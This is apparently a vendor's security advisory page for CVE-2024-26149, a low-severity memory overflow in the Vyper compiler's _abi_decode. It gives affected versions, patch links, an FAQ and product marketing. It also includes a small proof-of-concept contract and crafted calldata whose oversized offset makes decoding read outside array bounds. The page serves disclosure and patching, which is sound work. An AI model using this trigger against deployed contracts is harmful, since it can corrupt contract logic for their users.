Summary
Vyper's abidecode vulnerable to Memory Overflow
If an excessively large value is specified as the starting index for an array in _abi_decode, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within _abi_decode. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of abi_decode on the same input.
Proof of Concept
event Pwn:
pass
@external
def f(x: Bytes[32 * 3]):
a: Bytes[32] = b"foo"
y: Bytes[32 * 3] = x
decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32])
a = b"bar"
decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32])
if decoded_y1 != decoded_y2:
log Pwn()
Sending the following calldata results in Pwn being emitted.
0xd45754f8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000060
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0
Impact
CVE-2024-26149 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.
Frequently Asked Questions
- What is CVE-2024-26149? CVE-2024-26149 is a low-severity security vulnerability in vyper (pip), affecting versions < 0.4.0. It is fixed in 0.4.0.
- How severe is CVE-2024-26149? CVE-2024-26149 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vyper are affected by CVE-2024-26149? vyper (pip) versions < 0.4.0 is affected.
- Is there a fix for CVE-2024-26149? Yes. CVE-2024-26149 is fixed in 0.4.0. Upgrade to this version or later.
- Is CVE-2024-26149 exploitable, and should I be worried? Whether CVE-2024-26149 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-26149 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-26149? Upgrade
vyperto 0.4.0 or later.